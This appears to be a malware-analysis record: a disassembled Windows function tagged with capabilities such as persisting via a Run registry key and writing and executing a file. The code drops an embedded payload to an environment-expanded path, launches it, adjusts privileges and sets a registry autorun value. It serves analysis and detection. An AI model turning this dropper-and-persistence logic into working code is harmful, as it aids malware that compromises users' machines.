Function at 0x405200
Capabilities:
Create process on windows
Create process suspended
Persist via run registry key
Query environment variable
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x518
push ebx
push esi
push edi
mov eax, edx
mov edx, ecx
mov ecx, 0x1f
mov esi, 0x404c90
lea edi, [ebp - 0x114]
rep movsd dword es:[edi], dword [esi]
lea ebx, [eax - 0x18]
add ebx, edx
movsw word es:[edi], word [esi]
cmp dword [ebx], 0xa535443
mov edi, dword [sym.imp.ntdll.dll_NtClose]
mov esi, dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], edx
jne 0x40558d
mov edx, dword [ebx + 4]
mov ecx, ebx
lea eax, [ebx + 8]
sub ecx, edx
push eax
mov dword [ebp - 8], ecx
call fcn.00405060
xor esi, esi
lea edi, [esi + 0x3e]
nop
call fcn.00405040
xor edx, edx
div edi
inc esi
mov ax, word [ebp + edx*2 - 0x114]
mov word [ebp + esi*2 - 0x4e], ax
cmp esi, 0xf
jb 0x405260
xor eax, eax
mov word [ebp + esi*2 - 0x4c], ax
push 0x200
lea eax, [ebp - 0x514]
push eax
push 0x404d10
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
lea edx, [ebp - 0x4c]
mov esi, edx
nop
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4052a0
lea edi, [ebp - 0x514]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4052b6
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x514]
add ecx, 0xfffffffe
lea esp, [esp]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x4052e0
mov eax, dword [0x404d20]
mov esi, dword [sym.imp.KERNEL32.DLL_CreateFileW]
push 0
push 0
mov dword [ecx], eax
mov eax, dword [0x404d24]
push 2
mov dword [ecx + 4], eax
mov ax, word [0x404d28]
push 0
push 0
mov word [ecx + 8], ax
push 0x40000000
lea eax, [ebp - 0x514]
push eax
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x405595
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebx + 4]
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
mov edi, dword [sym.imp.ntdll.dll_NtClose]
mov esi, eax
call edi
test esi, esi
je 0x40540a
push 0x44
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.0040a230
xorps xmm0, xmm0
lea edi, [ebp - 0x514]
add esp, 0xc
movq qword [ebp - 0x2c], xmm0
movq qword [ebp - 0x24], xmm0
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x405380
mov eax, dword [0x404d2c]
mov edx, dword [ebp + 8]
mov dword [edi], eax
mov esi, edx
jmp 0x4053a0
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4053a0
lea edi, [ebp - 0x514]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4053b6
lea eax, [ebp - 0x2c]
push eax
mov ecx, edx
shr ecx, 2
lea eax, [ebp - 0x94]
push eax
push 0
push 0
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x514]
mov ecx, edx
push eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
mov edi, dword [sym.imp.ntdll.dll_NtClose]
test eax, eax
je 0x40540a
push dword [ebp - 0x28]
call edi
push dword [ebp - 0x2c]
call edi
mov esi, dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
mov dword [0x40ec20], ecx
mov ecx, dword [ebx]
cmp ecx, 0xa535443
jne 0x40542f
sub eax, dword [ebx + 4]
sub eax, 0x18
push dword [ebx + 4]
mov dword [0x40ec2c], eax
xor eax, eax
cmp ecx, 0xa535443
sete al
push 0
push edx
mov dword [ebp + 8], eax
call fcn.0040a230
add esp, 0xc
lea eax, [ebp - 0xd]
push eax
xorps xmm0, xmm0
push 0
movq qword [ebx], xmm0
push 1
movq qword [ebx + 8], xmm0
push 0x14
movq qword [ebx + 0x10], xmm0
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
test eax, eax
push 0x200
lea eax, [ebp - 0x514]
push eax
setns bl
mov ecx, 0x404d54
mov eax, 0x404d30
test bl, bl
cmove eax, ecx
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x514]
push eax
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x4054d3
push 0
lea eax, [ebp - 0x18]
push eax
push dword [0x40ec2c]
push dword [0x40ec20]
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call edi
lea eax, [ebp - 0x14]
push eax
xor eax, eax
test bl, bl
setne al
push 0x404d78
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x405539
lea ecx, [ebp - 0x514]
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x405500
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x514]
push eax
push 1
push 0
push 0x404dd4
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp + 8], 0
je 0x4055a0
push 0x44
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.0040a230
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x94]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
push 0
lea eax, [ebp - 0x514]
push eax
movq qword [ebp - 0x2c], xmm0
movq qword [ebp - 0x24], xmm0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov edx, dword [ebp + 8]
jmp 0x405416
mov edi, dword [sym.imp.ntdll.dll_NtClose]
jmp 0x405410
mov edx, dword [0x40ec2c]
mov ecx, dword [0x40ec20]
call fcn.00404f20
pop edi
pop esi
mov dword [0x40ec30], eax
pop ebx
mov esp, ebp
pop ebp
ret 4